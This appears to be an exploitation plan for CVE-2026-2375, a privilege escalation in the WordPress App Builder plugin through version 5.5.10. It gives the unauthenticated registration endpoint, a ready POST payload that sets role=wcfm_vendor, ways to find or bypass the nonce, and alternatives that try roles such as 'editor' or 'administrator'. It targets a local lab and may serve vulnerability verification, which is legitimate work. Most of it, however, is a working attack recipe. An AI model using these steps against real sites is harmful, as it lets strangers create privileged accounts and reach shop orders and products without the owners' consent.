Exploitation Research Plan: CVE-2026-2375 (App Builder Privilege Escalation)

1. Vulnerability Summary

The App Builder plugin (<= 5.5.10) contains a privilege escalation vulnerability in its REST API registration handler. The plugin implements a custom registration endpoint /wp-json/app-builder/v1/register intended for mobile app users. The function verify_role() in AuthTrails.php (inferred path: includes/AuthTrails.php or inc/AuthTrails.php) validates the role parameter against a whitelist.

The flaw exists because wcfm_vendor (the role for WCFM Marketplace vendors) is included in the whitelist alongside subscriber and customer. When a user registers via this endpoint, the plugin calls wp_insert_user() and assigns the requested role immediately. This bypasses the standard WCFM Marketplace vendor application and approval workflow, allowing unauthenticated attackers to gain vendor privileges (product management, order access, etc.) instantly.

2. Attack Vector Analysis

• Endpoint: /wp-json/app-builder/v1/register
• Method: POST
• Vulnerable Parameter: role
• Authentication: Unauthenticated (None required)
• Preconditions:
  • The plugin App Builder must be active.
  • For maximum impact, WCFM - WooCommerce Multivendor Marketplace should be active, although the role assignment will occur regardless of whether the target plugin is present.

3. Code Flow (Grounded in Description)

1. Request Entry: An unauthenticated POST request is sent to wp-json/app-builder/v1/register.
2. Route Registration: The plugin registers this route via register_rest_route (likely in a class handling REST initialization).
3. Registration Handler: The callback function for this route processes the POST data (username, email, password, role).
4. Validation Logic: The handler calls verify_role($role) in AuthTrails.php.
5. Whitelisting: Inside verify_role(), the code checks:

   // Conceptual logic based on vulnerability description
   if ( in_array( $role, [ 'subscriber', 'customer', 'wcfm_vendor' ] ) ) {
       return $role;
   }
   

6. User Creation: The validated role is passed to wp_insert_user() or wp_create_user().
7. Privilege Escalation: The user is created with the wcfm_vendor role, granting them access to the vendor dashboard and capabilities immediately upon login.

4. Nonce Acquisition Strategy

REST API endpoints in WordPress usually require a nonce for authenticated sessions to prevent CSRF. However, registration endpoints are designed for unauthenticated users (who do not have a session).

1. Check for Public Nonce: If the plugin requires a nonce for the REST API (even for anonymous users), it is typically exposed via wp_localize_script.
2. Strategy:
   • Navigate to the homepage or a page where App Builder scripts are loaded.
   • Look for the localization object, likely named app_builder_settings, app_builder_vars, or similar.
   • Use browser_eval to check: window.app_builder_vars?.nonce.
3. Bypass Check: If the permission_callback for the route is __return_true, a nonce may not be strictly required for the POST request to reach the handler.

5. Exploitation Strategy

Step 1: Discover REST Endpoint

Confirm the endpoint is active and determine required parameters.

# Verify route existence
http_request GET "http://localhost:8080/wp-json/app-builder/v1"

Step 2: Perform Unauthenticated Registration

Send a POST request to register a new user with the wcfm_vendor role.

Request Details:

• URL: http://localhost:8080/wp-json/app-builder/v1/register
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Payload:
  • username=attacker_vendor
  • email=attacker@example.com
  • password=P@ssw0rd123!
  • role=wcfm_vendor

Step 3: Payload Construction

{
  "username": "attacker_vendor",
  "email": "attacker@example.com",
  "password": "P@ssw0rd123!",
  "role": "wcfm_vendor"
}

6. Test Data Setup

1. Install Plugins:
   • wp plugin install app-builder --version=5.5.10 --activate
   • wp plugin install wc-multivendor-marketplace --activate (to demonstrate the impact of the vendor role).
2. Configure WCFM (Optional): Set WCFM to "Require Approval" for vendors to demonstrate the bypass.
3. No Shortcode Required: Since this is a REST API vulnerability, we do not necessarily need to place a shortcode unless a nonce is required for the request.

7. Expected Results

• Response Code: 200 OK or 201 Created.
• Response Body: Should contain user data or a success message indicating the user was registered.
• Database State: A new user exists in the wp_users table with the wcfm_vendor role assigned in wp_usermeta.

8. Verification Steps

After the exploit attempt, use WP-CLI to verify the user's role:

# Check if the user was created
wp user list --field=user_login | grep "attacker_vendor"

# Verify the role of the new user
wp user get attacker_vendor --field=roles

Success Condition: The output of the second command should be exactly wcfm_vendor.

9. Alternative Approaches

• JSON Payload: If x-www-form-urlencoded fails, try sending the payload as application/json.
• Parameter Variation: If role is ignored, check if the plugin accepts user_role or capabilities.
• Nonce Discovery: If the request returns a 403 Forbidden with "rest_cookie_invalid_nonce", search the plugin source code for wp_localize_script to find where the nonce is leaked:

  grep -r "wp_localize_script" /var/www/html/wp-content/plugins/app-builder/
  

• WCFM Specifics: If wcfm_vendor is not accepted, try vendor or check if the plugin supports other high-privilege roles like editor or administrator (though the description specifically highlights wcfm_vendor).